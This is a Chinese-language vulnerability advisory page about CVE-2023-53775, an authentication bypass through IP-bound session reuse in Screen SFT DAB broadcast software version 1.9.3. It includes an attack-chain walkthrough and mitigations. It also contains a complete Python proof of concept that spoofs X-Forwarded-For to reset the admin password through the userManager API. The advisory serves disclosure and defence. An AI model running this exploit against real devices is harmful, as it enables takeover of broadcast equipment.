IPBUF安全漏洞报告
English
CVE-2023-53775 CVSS 6.5 中危

CVE-2023-53775 Screen SFT DAB 弱会话管理认证绕过漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2023-53775
漏洞类型
认证绕过/弱会话管理
CVSS评分
6.5 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Screen SFT DAB

相关标签

认证绕过弱会话管理密码修改IP绑定会话ScreenSFT DAB广播设备CVE-2023-53775

漏洞概述

CVE-2023-53775是Screen公司开发的SFT DAB广播设备软件中存在的一个认证绕过漏洞。该漏洞影响1.9.3版本,由于系统采用IP绑定的会话标识符进行身份验证,导致攻击者可以通过会话重用攻击绕过身份认证。攻击者利用弱会话管理控制缺陷,可以向userManager API发送未授权请求,在无需正确认证的情况下修改任意用户密码。成功利用此漏洞的攻击者可以完全接管设备管理员账户,获得设备的完全控制权,进而可能对广播内容进行篡改或造成服务中断。该漏洞的CVSS评分为6.5,属于中等严重程度,但由于攻击复杂度较低且无需认证即可利用,对暴露在网络中的SFT DAB设备构成实质性威胁。

技术细节

该漏洞的根本原因在于Screen SFT DAB系统的会话管理机制存在设计缺陷。系统使用基于IP地址的会话标识符进行用户身份验证,而非采用传统的基于令牌或会话ID的强认证机制。这种弱会话管理方式存在以下问题:1) 会话标识符与客户端IP地址绑定,攻击者只需获取有效的IP地址即可重用会话;2) 系统未对会话标识符进行充分的有效性校验和生命周期管理;3) userManager API端点缺少强制身份验证检查。攻击者通过以下方式利用此漏洞:首先获取或猜测目标设备上有效用户的IP地址;然后构造针对userManager API的密码修改请求,在请求中包含该IP地址作为会话标识符;最后发送修改目标用户密码的请求。由于系统错误地信任IP绑定的会话,攻击请求将被视为合法认证请求执行。攻击成功后,攻击者获得管理员权限,可完全控制整个SFT DAB广播设备。

攻击链分析

STEP 1
信息收集
攻击者识别目标Screen SFT DAB设备,获取其IP地址和端口信息
STEP 2
会话标识符获取
攻击者通过主动或被动方式获取目标网络上有效用户的IP地址
STEP 3
构造攻击请求
攻击者构造针对userManager API的密码修改请求,在请求头中伪造源IP地址
STEP 4
发送未授权请求
利用IP绑定的弱会话管理机制,向API端点发送密码修改请求
STEP 5
密码修改成功
系统错误验证通过IP绑定的会话标识符,执行密码修改操作
STEP 6
账户接管
攻击者使用新密码登录管理后台,获得设备的完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2023-53775 PoC - Screen SFT DAB Authentication Bypass # Target: Screen SFT DAB <= 1.9.3 # Attack: Change user password via IP-bound session reuse def exploit(target_ip, target_port=8080): """ Exploit authentication bypass in Screen SFT DAB userManager API by reusing IP-bound session identifiers. Args: target_ip: Target device IP address target_port: Target web interface port (default: 8080) """ base_url = f"http://{target_ip}:{target_port}" # Step 1: Obtain valid IP-bound session # Attacker spoofs the IP address of an authenticated user print(f"[*] Targeting Screen SFT DAB at {target_ip}:{target_port}") print("[*] Exploiting IP-bound session reuse vulnerability...") # Step 2: Craft password change request to userManager API # Using spoofed IP as session identifier headers = { 'X-Forwarded-For': target_ip, # IP spoofing for session reuse 'Content-Type': 'application/json', 'User-Agent': 'Screen-SFT-DAB-Client/1.9.3' } # Target userManager API endpoint api_endpoint = f"{base_url}/api/userManager/changePassword" # Password change payload payload = { "targetUser": "admin", "newPassword": "P@ssw0rd123!", "sessionIP": target_ip } print(f"[*] Sending password change request to {api_endpoint}") try: response = requests.post( api_endpoint, json=payload, headers=headers, timeout=10, verify=False ) if response.status_code == 200: print("[+] Password change successful!") print(f"[+] Admin password changed to: P@ssw0rd123!") print(f"[+] Login URL: {base_url}/login") return True else: print(f"[-] Request failed with status: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") print(f"Example: python {sys.argv[0]} 192.168.1.100 8080") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 exploit(target, port)

影响范围

Screen SFT DAB <= 1.9.3

防御指南

临时缓解措施
立即将Screen SFT DAB设备升级到官方最新安全版本;在管理接口前部署严格的访问控制策略,限制未授权访问;启用网络层的安全监控,检测异常的密码修改行为;如无法立即升级,可通过防火墙规则限制对userManager API的直接访问,仅允许受信任的IP地址访问管理接口;定期审计系统日志,关注异常的密码重置和登录行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表